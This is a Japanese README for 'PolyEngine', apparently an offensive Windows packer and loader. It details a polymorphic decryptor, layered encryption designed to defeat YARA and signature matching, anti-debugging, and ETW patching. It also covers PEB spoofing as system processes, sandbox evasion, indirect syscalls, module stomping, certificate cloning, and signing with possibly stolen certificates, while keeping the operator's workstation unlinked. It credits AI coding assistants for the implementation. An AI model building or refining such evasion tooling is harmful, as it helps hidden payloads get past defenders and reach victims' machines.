- **NOP / ジャンク命令の挿入** — 機能命令の間にランダムなNOP/ジャンク命令を挿入。RBX/R10/R11/R12/R13を対象とする22エントリのプールから選択(PUSH/POP、XCHG、TEST、MOV自己コピー)
- **レジスタの入れ替え** — 機能レジスタを同等のセット間でランダムに再割り当て
- **命令の置換** — 各暗号ステップを3つの意味的に同等なバリアントのいずれかで出力(例:`xor al, k` / `sub al, ~k+1` / `not al; xor al, ~k`)
- **ループカウンタバリアント** — `inc r9`を`inc r9`、`add r9,1`、`lea r9,[r9+1]`からランダム化; 比較を`cmp rdx,r9`と`cmp r9,rdx`の間で入れ替え
- **ブロックの順列** — 4つの独立したセットアップブロック(RCX/RDX/R10/R11のゼロ初期化)をFisher-Yatesシャッフルで並べ替え(24通りの順序)
- **XORキー順序の入れ替え** — ランダムな`xorSwapped`フラグが外側のキー適用順序を反転; 暗号化ルーチンと復号化ルーチンはメタデータビットを介して同期を維持

CompoundEncrypt暗号(各バイトに対してXOR→ROL→ADD→XOR)は、4命令の復号化テンプレートにきれいにマッピングされます。MutationEngineは各ステップで異なるバリアントの組み合わせを出力し、復号化ループの静的シグネチャマッチングを不可能にします。

</details>

<details>
<summary><b>暗号化スタック</b></summary>

| レイヤー | アルゴリズム | 鍵のソース |
|---|---|---|
| 外側 | XTEA-CTR (128ビット) | ランタイム導出ベースXOR、ビルドごとの`CryptGenRandom`ソルト |
| 内側 | CompoundEncrypt (XOR+ROL+ADD+XOR) | ビルドごとの`__rdtsc`シードでの複合鍵、復号化スタブに埋め込まれる |

**外側XTEA鍵導出**(`Xtea_DeriveKey`):128ビット鍵は、無理数定数(φ、√2、√3、√5、√10を32ビットにスケーリング)に対する算術演算からランタイムで構築されます。5つのシード定数はすべて、`volatile` XORペア(`A ^ B`)に分割されているため、生の無理数バイト列は`.rdata`に出現しません — 回復には導出の実行が必要です。バイナリ内に連続した16バイトの鍵ブロブは存在しません。最終鍵は`derived_base XOR key_salt`で、`key_salt`は`.rsrc`に格納された16バイトの`CryptGenRandom`出力です — すべてのビルドが一意のキーストリームを生成します。

**動的マジック(静的YARAアンカーなし):** `.rsrc`メタデータブロックは`magic = key_salt[0]^key_salt[1]^key_salt[2]^key_salt[3]`で終わります。Stubはこのブロックを後方スキャンで見つけ、この不変条件を検証します — YARAルールがアンカーとなる`0xDEADBEEF`やその他の固定定数は存在しません。

</details>

<details>
<summary><b>TLSコールバックによるアンチデバッグ</b></summary>

Windowsローダーは、`.CRT$XLB`からのTLSコールバックを**`AddressOfEntryPoint`**が制御を受け取る**前**に呼び出します — ペイロードがメモリに存在する前です。その時点で、環境は外部API依存なしで(CPU組み込み関数と直接のPEB読み取りのみで)プローブされます:

| チェック | PEB / ヒープフィールド | 検出条件 |
|---|---|---|
| BeingDebugged | `PEB+0x002` | Win32デバッガがアタッチされている場合 |
| NtGlobalFlag | `PEB+0xBC`(x64) | デバッガ下でntdllによってビット`0x70`が設定される |
| ヒープフラグ | `ProcessHeap+0x70`(x64) | 値が2(HEAP_GROWABLE)以外 |
| ヒープForceFlags | `ProcessHeap+0x74`(x64) | 値が0以外 |

検出時:`__fastfail(FAST_FAIL_FATAL_APP_EXIT)` — すべてのユーザーモード例外ハンドラ(VEH、SEH、UnhandledExceptionFilter)をバイパスします。WERは`STATUS_STACK_BUFFER_OVERRUN (c0000409)`を記録し、正当なメモリ安全性クラッシュと区別がつきません。

ビルド時に`--disable tls`で無効化可能。ビルダーは埋め込み前にローダースタブ内の5バイトマーカーをパッチしてコールバックを無効化します。

</details>

<details>
<summary><b>ETWパッチング</b></summary>

`Opsec_PatchEtw()` は、プロセスntdll内の`EtwEventWrite`の最初のバイトに3バイトのNOPを書き込みます:```asm
; After patch:
33 C0    xor eax, eax   ; return STATUS_SUCCESS (0)
C3       ret

NtProtectVirtualMemory(HellsHall + Moonwalk RSP ピボット経由)を通じて適用されます。個別の pPage 変数は NtProtect のベースアドレスを保持します(カーネルがページ境界に丸める可能性があります)。pEtw は実際のバイト書き込みのために保持されます。

PEBスプーフィング

Opsec_SpoofPeb() は以下を書き換えます:

  • PEB.ImageBaseFileName — Process Hacker などに表示されるプロセス名
  • PEB.ImagePathNamePEB.CommandLine — プロセス一覧に表示されるフルパス
  • PEB.BeingDebugged = 0PEB.NtGlobalFlag = 0 — アンチデバッグフラグ
  • ProcessHeap.Flags = 2ProcessHeap.ForceFlags = 0 — ヒープデバッグフラグ

スプーフィングするファイル名は --spoof-name で設定します。省略した場合、Builder は CryptGenRandom を使用して、9 つの一般的な System32 プロセスのプール(RuntimeBroker.exe, SgrmBroker.exe, WmiPrvSE.exe, SearchIndexer.exe, taskhostw.exe, spoolsv.exe, wlrmdr.exe, WMPDMC.exe, hvix64.exe) からランダムに選択します。

サンドボックスおよびアンチ解析チェック

Evasion_RunChecks() は任意のシステムコール初期化の前に実行され、Win32 API レイヤーのみを使用します。各チェックは --disable で個別に有効/無効を切り替えられます。

ハードチェック — 1つでも陽性なら即座に終了:

チェック手法検出対象
debuggerPEB.BeingDebuggedPEB.NtGlobalFlagProcessHeap フラグ、NtQueryInformationProcess(ProcessDebugPort)Win32 デバッガがアタッチされている
api-emuRtlComputeCrc32(seed, NULL, 0) — シードと等しくなければならない誤った結果を返す API エミュレーション
exec-ctrl名前付きセマフォ(デフォルトでは wuauctl、設定可能)— ERROR_ALREADY_EXISTSサンプルの二重実行
sleep-fwdSleep(ms) + GetTickCount64 の差分、閾値 = ms の 90%Sleep 呼び出しを高速送りするサンドボックス

ソフトチェック — 2つ以上陽性で終了(誤検出を低減):

チェック閾値検出対象
uptimeシステム稼働時間 < N 分 (デフォルト: 2)新しく起動されたサンドボックス VM
cpu論理プロセッサ数 < 2低スペックのサンドボックス
screen画面幅 ≤ 1024 px800×600 / 1024×768 のサンドボックス解像度
filesHKCU\...\Explorer\RecentDocs サブキー数 < 5クリーン / 偽のユーザープロファイル

タイミング遅延:

Evasion_HammerDelay()VirtualAlloc/VirtualFree のペアを GetTickCount64 で計時することで実際の経過時間を消費します。時間は --hammer-s で設定可能(デフォルト: 3 秒)。サンドボックスの時間加速機能ではアロケーターの往復時間を高速送りできないため、sleep-fwd チェックをバイパスするスリープ高速送り回避に対して効果的です。

API ハッシュ — Djb2

すべての Windows API 名はコンパイル時に事前計算された Djb2 ハッシュに置き換えられ、g_Hash_* グローバル変数として保存されます。GetProcAddressH() はエクスポートディレクトリを走査し、各エクスポート名をハッシュして一致が見つかるまで続けます — インポートテーブルや .data に平文の API 文字列は現れません。

ID クローニング — --clone-meta

オプションの Phase 11 ビルド後ステップで、ドナー PE から 3 つの外観属性を既にビルドされた出力にコピーします。BuildInfectedPE.rsrc を完全に書き換えるため、以前に書き込まれたものは失われる)の後、SignPeWithPfx--pfx も指定された場合、証明書ディレクトリを実際の署名で上書きする)の前に実行されます。

CloneMeta_CopyResources はドナーをフラットデータファイルとしてロードします(LOAD_LIBRARY_AS_DATAFILE — 意図的に LOAD_LIBRARY_AS_IMAGE_RESOURCE は使用しません。これはシステムファイルで MUI リソースリダイレクションを有効にし、RT_GROUP_ICON のルックアップをアイコンを含まない言語サテライト .mui に転送するためです)。RT_VERSIONEnumResourceLanguagesA で列挙され、すべての言語 ID を収集します。各バリアントは UpdateResourceA で書き込まれます。RT_GROUP_ICON については、最小の整数 ID グループが選択されます(慣例によりエクスプローラーがシェルアイコンに使用するもの)。実際のデータルックアップには FindResourceA は使用されません。これは、EnumResourceNamesA が先ほど見つけたリソースであっても、LOAD_LIBRARY_AS_DATAFILE ハンドルでは ERROR_RESOURCE_NAME_NOT_FOUND (1813) で失敗するためです。データファイルモードでは LANG_NEUTRAL フォールバックパスが機能しないからです。代わりに、EnumResourceLanguagesA がドナーに保存されている正確な LANGID を抽出し、FindResourceExA がそれを直接使用します。すべての UpdateResourceA 呼び出しは、BeginUpdateResourceA(FALSE) で出力 PE を開きます。マージフラグにより、Phase 10 の既存の .rsrc ペイロードエントリが保持されます。

CloneMeta_CopyCertDirectoryReadFileToBuffer でドナーをフラットバッファに読み込み、DOS → NT ヘッダーを解析し(OptionalHeader.Magic ディスパッチにより x86 と x64 の両方のドナーをサポート)、DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY] を抽出します。このディレクトリエントリは ファイルオフセット(RVA ではなく)を使用します — VirtualAddress がファイルへの生のバイトオフセットである唯一の PE データディレクトリです。証明書ブロブは 8 バイトアライメントされた EOF に追加され(WIN_CERTIFICATE のアライメント要件)、ターゲットの SECURITY ディレクトリエントリがインプレースでパッチされ、その後 imagehlp.libMapFileAndCheckSumA が PE チェックサムを再計算します。書き込みハンドルは MapFileAndCheckSumA を呼び出す前に閉じられますMapFileAndCheckSumA は独自の内部ハンドルを開くため、呼び出し元が排他書き込みハンドルを保持していると共有違反で失敗します — その後、計算されたファイルオフセットに 4 バイトのチェックサムだけを書き込むために一時的に再オープンされます。

Authenticode 署名 — --pfx

オプションのビルド後ステップです。--pfx が指定されると、Builder は mssign32!SignerSignEx2(実行時に解決 — リンク時 mssign32 依存なし、オペレーターワークステーションに signtool.exe 不要)を使用してパックされた出力に署名します。署名は BuildInfectedPE が戻った後の Phase 9 として実行されます。署名の書き込みは IMAGE_DIRECTORY_ENTRY_SECURITY を書き換え、PE チェックサムを再計算するため、後からリソースを編集すると署名が無効になります。

PFX は PKCS12_NO_PERSIST_KEY | PKCS12_PREFER_CNG_KSP | PKCS12_INCLUDE_EXTENDED_PROPERTIES でインポートされます。NO_PERSIST_KEY は秘密鍵をメモリ内のみに保持します — %APPDATA%\Microsoft\Crypto にキーコンテナファイルは書き込まれず、それによりオペレーターのワークステーションが署名されたサンプルに関連付けられることはありません。PREFER_CNG_KSP は最新の PFX(PowerShell New-SelfSignedCertificate、OpenSSL ≥3.x)に必要です。これがないと SignerSignEx2NTE_BAD_TYPE (0x8009000A) で失敗します。ダイジェストは SHA-256 です。

--ts-url はオプトインです。RFC 3161 タイムスタンプは HTTP リクエストをタイムスタンプ機関に送信し、リクエスタの IP と署名時刻を記録し、その時刻を PE 内の署名ブロブに埋め込みます。完全にエアギャップ可能な署名の場合はこのフラグを省略してください。署名が証明書の有効期間を超えて有効である必要がある場合(例:盗まれた/短期間のコード署名証明書で失効される可能性がある場合)にのみ使用してください。


.rsrc Metadata Block Layout

リソースペイロードは ID 101 に固定されていません。パック時に Builder は以下の手順を実行します:

  1. CryptGenRandom を使用して 0x0100..0x7EFF の範囲で WORD の RT_RCDATA ID を生成
  2. ローダースタブ内の g_PayloadResIdMarker[4..5] に LE バイトをパッチ(Payload.c のタグ {0xB1,0x0B,0x1D,0xE0}、未パッチのデフォルト = 101)
  3. スタブイメージに対して StubMorph_Apply を実行
  4. UpdateResource(RT_RCDATA, id) = [XTEA 暗号化ブロブ | PAYLOAD_METADATA (280 バイト)] を書き込み

実行時にスタブはマーカーを読み取り、その ID で FindResourceW を呼び出します。メタデータブロックは、リソースの末尾から後方にスキャン(最大 128 バイト、UpdateResource のアライメントパディングを許容)し、magic == XOR(key_salt[0..3]) を検証することで特定されます。

フィールドごとのレイアウト``` [XTEA-encrypted blob] [key_salt : 16 bytes] per-build random XTEA salt (4 x DWORD) [dll_idx0 : 1 byte ] index into g_DllPool (module stomping target 1) [dll_idx1 : 1 byte ] index into g_DllPool (module stomping target 2) [dll_idx2 : 1 byte ] index into g_DllPool (module stomping target 3) [pad : 1 byte ] alignment (0x00) [origSize : 4 bytes] original decompressed PE size (ULONG) [stubSize : 4 bytes] mutated ASM decryptor size (DWORD) [blobSize : 4 bytes] XTEA blob size (DWORD) [exportHash : 4 bytes] Djb2(exportName, key_salt[0]); 0 = none [exportArg : 128 bytes] null-terminated export argument string (zero-padded) [spoof_exe : 64 bytes] ASCII filename for PEB spoof (zero-padded) [semaphore_name : 32 bytes] exec-ctrl semaphore name; empty = default "wuauctl" (zero-padded) [sleep_fwd_ms : 4 bytes] sleep-fwd check duration (ms); 0 = default 500 [uptime_min : 4 bytes] uptime threshold (minutes); 0 = default 2 [hammer_ms : 4 bytes] API-hammer delay (ms); 0 = default 3000 [flags : 4 bytes] OPSEC_FLAG_* + EVASION_FLAG_* + PAYLOAD_FLAG_* bitmask [magic : 4 bytes] key_salt[0]^key_salt[1]^key_salt[2]^key_salt[3] ────────────────────────────── Total: 280 bytes (kMagicOffset = 276) ``` `flags`ビット(`Engine/OpsecFlags.h`参照):OPSEC 0–5、回避/アンフック 6–16、`PAYFLAG_IS_SHELLCODE` (17)。

ブロック内に固定値はどこにも存在しません。すべてのフィールドはランダム(key_saltmagic)またはビルド固有のものです。RT_RCDATA IDもビルドごとに異なります。YARAは静的なバイト列や固定リソースIDにアンカーできません。

ローダーの終了コード(リリースビルド): すべてのローダー失敗パスはLOADER_EXITStub/Common.h)を経由してコード0で終了します。デバッグビルドでは診断のための個別のコードを保持します。エバージョン検出はすでに0で終了します。


モジュールストンピングDLLプール

ビルダー--preset.rsrcに保存された3つのDLLインデックスを選択します。スタブは実行時にg_DllPoolから名前を解決します。ペイロードやメタデータにはDLL名は現れません。

DLLプールテーブル
インデックスDLLグループ
0xpsservices.dllPRINT
1msi.dllPRINT
2dbghelp.dllPRINT
3winmm.dllMEDIA
4dxgi.dllMEDIA
5oleaut32.dllMEDIA
6winhttp.dllNETWORK
7wtsapi32.dllNETWORK
8wlanapi.dllNETWORK
9bcrypt.dll(RANDOMのみ)

インデックス9(bcrypt.dll)は--preset RANDOMを介してのみ到達可能です。名前付きプリセットはインデックス0~8を3つずつカバーします。ビルダーはビルド時に、選択された3つのDLLのうち少なくとも1つにペイロードブロブを収容できる実行可能セクションがあることを確認し、該当するものがない場合は警告を発します。


プロジェクト構造

ファイルツリー``` PolyEngine/ ├── Builder/ — packer CLI (links selected Engine units) │ ├── Builder.cpp — CLI, ResolveStubPath (stub_v* pool), pipeline orchestration │ ├── CloneMeta.cpp/h — VERSIONINFO + icon + cert directory (--clone-meta) │ ├── PeSigning.cpp/h — Authenticode via mssign32!SignerSignEx2 (--pfx) │ └── UacManifest.cpp/h — RT_MANIFEST requireAdministrator (--uac) ├── Engine/ — shared sources (subset linked into Builder and/or Stub) │ ├── Compression.c/h — LZNT1 compress (Builder) / decompress helpers │ ├── Crypto.c/h — CompoundEncrypt inner cipher (XOR+ROL+ADD+XOR) │ ├── DecryptorStub.asm — 34-byte polymorphic decryptor template │ ├── MutationEngine.c/h — per-build ASM decryptor mutation (Builder) │ ├── NtApi.c/h — NT API pointer table (Stub binds via HellsHall) │ ├── OpsecFlags.h — OPSEC_FLAG_* + EVASION_FLAG_* + PAYLOAD_FLAG_* bits │ ├── PeBuilder.c/h — PAYLOAD_METADATA (280 B) + .rsrc inject + marker patches │ ├── StubMorph.c/h — pack-time PE morph: timestamp, section-name profiles, island+tag randomize (Builder only) │ ├── RunPE.c/h — in-process PE map (IAT, relocs, DllMain / EXE EP) │ └── Xtea.c/h — XTEA-CTR + irrational-constant key derivation └── Stub/ — CRT-free runtime; Release|x64 → stub_v0.bin .. stub_v3.bin ├── Stub.cpp — EntryPoint → Loader_* phases; POLY_VARIANT OPSEC order ├── PolyIslands.c — marker-bracketed NOP pads + per-variant decoy blob ├── ApiHashing.cpp/h — Djb2 hash cache, GetProcAddressH, GetModuleHandleH ├── Common.c/h — custom_memcpy/memset/memcmp; LOADER_EXIT (Release→0) ├── Evasion.cpp/h — HammerDelay + RunChecks (sandbox / debugger) ├── HellsHall.asm — indirect syscall + Moonwalk RSP pivot (deny-list / shared) ├── ModuleStomping.c/h — ModuleStomp_Alloc / ModuleOverload_Alloc ├── Opsec.c/h — ETW patch, PEB spoof ├── Payload.c/h — g_PayloadResIdMarker, GetPayloadFromResource, decompress ├── StubNtApi.c — Sys_Nt* wrappers → HellsHall ├── Structs.h — NT structs (no DDK) ├── Syscalls.c/h — FreshyCalls SSN sort, syscall;ret trampoline in ntdll .text ├── TlsCallback.c — pre-EP anti-debug + TLS guard marker ├── Unhooker.c/h — optional \KnownDlls\ .text restore (--unhook) └── StackSpoof.c/h — gadget pool + per-call synthetic stack configs ```

依存関係

  • Windows 10/11 x64 ターゲット
  • Visual Studio 2022 (MSVC v143) — 外部ライブラリ不要
  • スタブ: CRT依存ゼロ (/NODEFAULTLIB), malloc/free不使用, <string.h>不使用

メンテナー: Razz | セキュリティ研究と楽しみのためのopsec意識の高いビルド

実装支援はClaude Code、Grok、DeepSeekによる


ライセンス

MIT — 許可された使用のみ。完全な免責事項はLICENSEを参照。

カテゴリ